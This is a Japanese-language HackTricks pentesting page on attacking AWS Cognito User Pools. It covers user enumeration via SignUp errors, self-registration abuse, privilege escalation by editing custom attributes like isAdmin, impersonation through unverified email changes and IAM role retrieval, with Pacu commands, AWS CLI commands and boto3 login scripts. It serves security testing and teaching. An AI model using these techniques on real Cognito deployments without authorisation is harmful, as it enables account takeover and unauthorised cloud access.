Cognito User Pools
Reading time: 25 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
ユーザープールは、Amazon Cognitoのユーザーディレクトリです。ユーザープールを使用すると、ユーザーはAmazon Cognitoを通じてウェブまたはモバイルアプリにサインインしたり、サードパーティのアイデンティティプロバイダー(IdP)を通じてフェデレートしたりできます。ユーザーが直接サインインするか、サードパーティを通じてサインインするかにかかわらず、ユーザープールのすべてのメンバーには、SDKを通じてアクセスできるディレクトリプロファイルがあります。
ユーザープールは以下を提供します:
- サインアップおよびサインインサービス。
- ユーザーをサインインさせるための組み込みのカスタマイズ可能なウェブUI。
- Facebook、Google、Amazonでのログイン、Appleでのサインイン、及びユーザープールからのSAMLおよびOIDCアイデンティティプロバイダーを使用したソーシャルサインイン。
- ユーザーディレクトリ管理とユーザープロファイル。
- 多要素認証(MFA)、侵害された資格情報のチェック、アカウント乗っ取り防止、電話およびメールの確認などのセキュリティ機能。
- AWS Lambdaトリガーを通じたカスタマイズされたワークフローとユーザー移行。
アプリケーションのソースコードには通常、ユーザープールIDとクライアントアプリケーションID(おそらくアプリケーションシークレットも?)が含まれており、これらはユーザーがCognitoユーザープールにログインするために必要です。
潜在的な攻撃
- 登録:デフォルトでは、ユーザーは自分自身を登録できるため、自分のためにユーザーを作成できます。
- ユーザー列挙:登録機能を使用して、既に存在するユーザー名を見つけることができます。この情報はブルートフォース攻撃に役立ちます。
- ログインブルートフォース:認証セクションには、ユーザーがログインするためのすべての方法が記載されており、これらをブルートフォースして有効な資格情報を見つけることができます。
ペンテスト用ツール
- Pacuは、現在
cognito__enum
およびcognito__attack
モジュールを含んでおり、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けし、またユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性に基づく権限昇格、使用可能なアイデンティティプール資格情報、IDトークン内の引き受け可能なロールなどを自動化します。
モジュールの機能の説明については、ブログ投稿のパート2を参照してください。インストール手順については、メインのPacuページを参照してください。
# Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account
Pacu (new:test) > run cognito__enum
# cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
- Cognito Scanner は、不要なアカウント作成やアカウントオラクルを含むさまざまな攻撃をCognitoに対して実行するPythonのCLIツールです。詳細についてはこのリンクを確認してください。
# Install
pip install cognito-scanner
# Run
cognito-scanner --help
- CognitoAttributeEnum: このスクリプトは、ユーザーの有効な属性を列挙することを可能にします。
python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl
登録
User Poolsはデフォルトで新しいユーザーを登録することを許可します。
aws cognito-idp sign-up --client-id <client-id> \
--username <username> --password <password> \
--region <region> --no-sign-request
誰でも登録できる場合
ユーザーについての詳細を提供する必要があることを示すエラーが表示されることがあります:
An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required
必要な詳細を次のようなJSONで提供できます:
--user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]'
この機能を使用して既存のユーザーを列挙することもできます。ユーザーがその名前で既に存在する場合のエラーメッセージは次のとおりです:
An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
note
前のコマンドでカスタム属性が "custom:" で始まることに注意してください。
また、登録時にユーザーの新しいカスタム属性を作成することはできません。デフォルト属性(必須でなくても)と指定されたカスタム属性にのみ値を与えることができます。
または、クライアントIDが存在するかどうかをテストするためです。クライアントIDが存在しない場合のエラーは次のとおりです:
An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist.
管理者のみがユーザーを登録できる場合
このエラーが表示され、ユーザーを登録したり列挙したりすることはできません:
An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool
登録の確認
Cognitoは新しいユーザーのメールアドレスまたは電話番号を確認することで確認を行うことができます。したがって、ユーザーを作成する際には通常、少なくともユーザー名とパスワード、そしてメールアドレスおよび/または電話番号が必要です。あなたが管理するものを設定するだけで、次のように新しく作成したユーザーアカウントを確認するためのコードを受け取ることができます:
aws cognito-idp confirm-sign-up --client-id <cliet_id> \
--username aasdasd2 --confirmation-code <conf_code> \
--no-sign-request --region us-east-1
warning
同じメールアドレスと電話番号を使用できるように見えても、作成したユーザーを確認する必要があるとき、Cognitoは同じ情報を使用していることに文句を言い、アカウントの確認を許可しません。
権限昇格 / 属性の更新
デフォルトでは、ユーザーは自分の属性の値を変更することができます。
aws cognito-idp update-user-attributes \
--region us-east-1 --no-sign-request \
--user-attributes Name=address,Value=street \
--access-token <access token>
カスタム属性の特権昇格
caution
カスタム属性(例えば isAdmin
)が使用されているのを見つけるかもしれません。デフォルトでは、自分の属性の値を変更できるため、自分で値を変更することで特権を昇格させることができるかもしれません!
メール/ユーザー名の変更による特権昇格
これを使用してユーザーのメールと電話番号を変更できますが、その後、アカウントが確認済みのままであっても、これらの属性は未確認の状態に設定されます(再度確認する必要があります)。
warning
メールまたは電話番号でログインできなくなりますが、ユーザー名でログインすることは可能です。
メールが変更されて未確認であっても、email
フィールド内のIDトークンに表示され、フィールド**email_verified
はfalseになりますが、アプリがそれを確認していない場合、他のユーザーを偽装することができるかもしれません**。
さらに、
name
フィールドに何でも入れることができ、name属性を変更するだけです。アプリが
とにかく、何らかの理由でメールを新しいものに変更した場合、アクセスできる場合は、そのメールアドレスで受け取ったコードでメールを確認することができます:
aws cognito-idp verify-user-attribute \
--access-token <access_token> \
--attribute-name email --code <code> \
--region <region> --no-sign-request
phone_number
を使用して 新しい電話番号 を変更/確認します。
note
管理者は ユーザーが好むユーザー名でのログイン オプションを有効にすることもできます。この値を 他のユーザーを偽装するために既に使用されている任意のユーザー名またはpreferred_username に変更することはできないことに注意してください。
パスワードの回復/変更
ユーザー名(またはメールまたは電話が受け入れられます)を知っているだけでパスワードを回復することが可能で、そこにコードが送信されるため、アクセスが必要です。
aws cognito-idp forgot-password \
--client-id <client_id> \
--username <username/email/phone> --region <region>
note
サーバーの応答は常に肯定的であり、ユーザー名が存在するかのように見えます。この方法を使用してユーザーを列挙することはできません。
コードを使用してパスワードを変更できます:
aws cognito-idp confirm-forgot-password \
--client-id <client_id> \
--username <username> \
--confirmation-code <conf_code> \
--password <pwd> --region <region>
パスワードを変更するには、以前のパスワードを知っている必要があります:
aws cognito-idp change-password \
--previous-password <value> \
--proposed-password <value> \
--access-token <value>
認証
ユーザープールは、異なる方法での認証をサポートしています。ユーザー名とパスワードがあれば、ログインするための異なる方法もサポートされています。
さらに、ユーザーがプールで認証されると、3種類のトークンが付与されます: IDトークン、アクセストークン、およびリフレッシュトークンです。
- IDトークン: 認証されたユーザーのアイデンティティに関するクレーム(
name
、email
、phone_number
など)が含まれています。IDトークンは、リソースサーバーやサーバーアプリケーションにユーザーを認証するためにも使用できます。外部アプリケーションで使用する場合は、IDトークン内のクレームを信頼する前に、署名を検証する必要があります。 - IDトークンは、ユーザーの属性値(カスタム属性を含む)を含むトークンです。
- アクセストークン: 認証されたユーザーに関するクレーム、ユーザーのグループのリスト、およびスコープのリストが含まれています。アクセストークンの目的は、ユーザープール内のユーザーのコンテキストでAPI操作を認可することです。たとえば、アクセストークンを使用して、ユーザー属性の追加、変更、または削除を許可することができます。
- リフレッシュトークン: リフレッシュトークンを使用すると、新しいIDトークンとアクセストークンをユーザーのために取得できます。リフレッシュトークンが無効になるまで利用可能です。デフォルトでは、リフレッシュトークンは、アプリケーションユーザーがユーザープールにサインインしてから30日後に期限切れになります。ユーザープール用のアプリケーションを作成する際に、アプリケーションのリフレッシュトークンの有効期限を60分から10年の間の任意の値に設定できます。
ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH
これはサーバー側の認証フローです:
- サーバー側のアプリが**
AdminInitiateAuth
API操作を呼び出します(InitiateAuth
の代わりに)。この操作には、cognito-idp:AdminInitiateAuth
およびcognito-idp:AdminRespondToAuthChallenge
**を含む権限を持つAWS資格情報が必要です。この操作は、必要な認証パラメータを返します。 - サーバー側のアプリが認証パラメータを取得した後、
AdminRespondToAuthChallenge
API操作を呼び出します。AdminRespondToAuthChallenge
API操作は、AWS資格情報を提供した場合にのみ成功します。
このメソッドはデフォルトで有効ではありません。
ログインするには、次の情報が必要です:
- ユーザープールID
- クライアントID
- ユーザー名
- パスワード
- クライアントシークレット(アプリがシークレットを使用するように構成されている場合のみ)
note
この方法でログインできるようにするためには、そのアプリケーションがALLOW_ADMIN_USER_PASSWORD_AUTH
でのログインを許可する必要があります。
さらに、このアクションを実行するには、**cognito-idp:AdminInitiateAuth
およびcognito-idp:AdminRespondToAuthChallenge
**の権限を持つ資格情報が必要です。
aws cognito-idp admin-initiate-auth \
--client-id <client-id> \
--auth-flow ADMIN_USER_PASSWORD_AUTH \
--region <region> \
--auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
--user-pool-id "<pool-id>"
# Check the python code to learn how to generate the hsecret_hash
ログイン用コード
import boto3
import botocore
import hmac
import hashlib
import base64
client_id = "<client-id>"
user_pool_id = "<user-pool-id>"
client_secret = "<client-secret>"
username = "<username>"
password = "<pwd>"
boto_client = boto3.client('cognito-idp', region_name='us-east-1')
def get_secret_hash(username, client_id, client_secret):
key = bytes(client_secret, 'utf-8')
message = bytes(f'{username}{client_id}', 'utf-8')
return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
# If the Client App isn't configured to use a secret
## just delete the line setting the SECRET_HASH
def login_user(username_or_alias, password, client_id, client_secret, user_pool_id):
try:
return boto_client.admin_initiate_auth(
UserPoolId=user_pool_id,
ClientId=client_id,
AuthFlow='ADMIN_USER_PASSWORD_AUTH',
AuthParameters={
'USERNAME': username_or_alias,
'PASSWORD': password,
'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret)
}
)
except botocore.exceptions.ClientError as e:
return e.response
print(login_user(username, password, client_id, client_secret, user_pool_id))
USER_PASSWORD_AUTH
このメソッドは、別のシンプルで従来のユーザーとパスワード認証フローです。従来の認証方法をCognitoに移行することが推奨されており、その後無効にし、代わりにALLOW_USER_SRP_AUTHメソッドを使用することが推奨されています(このメソッドはパスワードをネットワーク上に送信しません)。
このメソッドはデフォルトでは有効になっていません。
コード内の前の認証メソッドとの主な違いは、ユーザープールIDを知る必要がないことと、Cognitoユーザープールで追加の権限が必要ないことです。
ログインするためには、以下を知っている必要があります:
- クライアントID
- ユーザー名
- パスワード
- クライアントシークレット(アプリがシークレットを使用するように設定されている場合のみ)
note
このメソッドでログインできるようにするためには、そのアプリケーションがALLOW_USER_PASSWORD_AUTHでのログインを許可している必要があります。
aws cognito-idp initiate-auth --client-id <client-id> \
--auth-flow USER_PASSWORD_AUTH --region <region> \
--auth-parameters 'USERNAME=<username>,PASSWORD=<password>,SECRET_HASH=<hash_if_needed>'
# Check the python code to learn how to generate the secret_hash
ログインするためのPythonコード
import boto3
import botocore
import hmac
import hashlib
import base64
client_id = "<client-id>"
user_pool_id = "<user-pool-id>"
client_secret = "<client-secret>"
username = "<username>"
password = "<pwd>"
boto_client = boto3.client('cognito-idp', region_name='us-east-1')
def get_secret_hash(username, client_id, client_secret):
key = bytes(client_secret, 'utf-8')
message = bytes(f'{username}{client_id}', 'utf-8')
return base64.b64encode(hmac.new(key, message, digestmod=hashlib.sha256).digest()).decode()
# If the Client App isn't configured to use a secret
## just delete the line setting the SECRET_HASH
def login_user(username_or_alias, password, client_id, client_secret, user_pool_id):
try:
return boto_client.initiate_auth(
ClientId=client_id,
AuthFlow='ADMIN_USER_PASSWORD_AUTH',
AuthParameters={
'USERNAME': username_or_alias,
'PASSWORD': password,
'SECRET_HASH': get_secret_hash(username_or_alias, client_id, client_secret)
}
)
except botocore.exceptions.ClientError as e:
return e.response
print(login_user(username, password, client_id, client_secret, user_pool_id))
USER_SRP_AUTH
このシナリオは前のものと似ていますが、パスワードを送信する代わりに、チャレンジ認証が実行されます(したがって、パスワードはネットワークを通じて暗号化されても移動しません)。
このメソッドはデフォルトで有効です。
ログインするには、次の情報を知っている必要があります:
- ユーザープールID
- クライアントID
- ユーザー名
- パスワード
- クライアントシークレット(アプリがシークレットを使用するように構成されている場合のみ)
ログイン用のコード
from warrant.aws_srp import AWSSRP
import os
USERNAME='xxx'
PASSWORD='yyy'
POOL_ID='us-east-1_zzzzz'
CLIENT_ID = '12xxxxxxxxxxxxxxxxxxxxxxx'
CLIENT_SECRET = 'secreeeeet'
os.environ["AWS_DEFAULT_REGION"] = "<region>"
aws = AWSSRP(username=USERNAME, password=PASSWORD, pool_id=POOL_ID,
client_id=CLIENT_ID, client_secret=CLIENT_SECRET)
tokens = aws.authenticate_user()
id_token = tokens['AuthenticationResult']['IdToken']
refresh_token = tokens['AuthenticationResult']['RefreshToken']
access_token = tokens['AuthenticationResult']['AccessToken']
token_type = tokens['AuthenticationResult']['TokenType']
REFRESH_TOKEN_AUTH & REFRESH_TOKEN
このメソッドは常に有効です(無効にすることはできません)が、有効なリフレッシュトークンを持っている必要があります。
aws cognito-idp initiate-auth \
--client-id 3ig6h5gjm56p1ljls1prq2miut \
--auth-flow REFRESH_TOKEN_AUTH \
--region us-east-1 \
--auth-parameters 'REFRESH_TOKEN=<token>'
リフレッシュするためのコード
import boto3
import botocore
import hmac
import hashlib
import base64
client_id = "<client-id>"
token = '<token>'
boto_client = boto3.client('cognito-idp', region_name='<region>')
def refresh(client_id, refresh_token):
try:
return boto_client.initiate_auth(
ClientId=client_id,
AuthFlow='REFRESH_TOKEN_AUTH',
AuthParameters={
'REFRESH_TOKEN': refresh_token
}
)
except botocore.exceptions.ClientError as e:
return e.response
print(refresh(client_id, token))
CUSTOM_AUTH
この場合、認証はlambda関数の実行を通じて行われます。
追加のセキュリティ
高度なセキュリティ
デフォルトでは無効ですが、有効にするとCognitoはアカウントの乗っ取りを検出できる可能性があります。確率を最小限に抑えるためには、同じ都市内のネットワークから、同じユーザーエージェントを使用して(可能であればIPも)ログインするべきです。
MFAデバイスの記憶
ユーザーが同じデバイスからログインすると、MFAがバイパスされる可能性があるため、同じメタデータ(IP?)を使用して同じブラウザからログインしてMFA保護をバイパスしようとしてください。
ユーザープールグループのIAMロール
ユーザープールグループにユーザーを追加することが可能で、これらは1つのIAMロールに関連しています。
さらに、ユーザーは異なるIAMロールが付与された複数のグループに割り当てることができます。
グループがIAMロールを持つグループ内にあっても、そのグループのIAM資格情報にアクセスするためには、ユーザープールがアイデンティティプールによって信頼されている必要があります(そのアイデンティティプールの詳細を知っている必要があります)。
ユーザーがユーザープールで認証されるときにIdTokenに示されたIAMロールを取得するためのもう1つの要件は、アイデンティティプロバイダー認証プロバイダーがロールがトークンから選択される必要があることを示す必要があります。
.png)
ユーザーがアクセスできるロールは**IdToken
内にあり**、ユーザーは**aws cognito-identity get-credentials-for-identity
の--custom-role-arn
を使用して、どのロールの資格情報を希望するかを選択できます。
ただし、デフォルトオプションが設定されたもの**(use default role
)であり、IdTokenからロールにアクセスしようとすると、エラーが発生します(そのため、前の設定が必要です):
An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
warning
ユーザープールグループに割り当てられたロールは、ユーザープールを信頼するアイデンティティプロバイダーによってアクセス可能である必要があります(IAMロールのセッションクレデンシャルはそこから取得されるため)。
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439"
},
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "authenticated"
}
}
}
]
}js
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。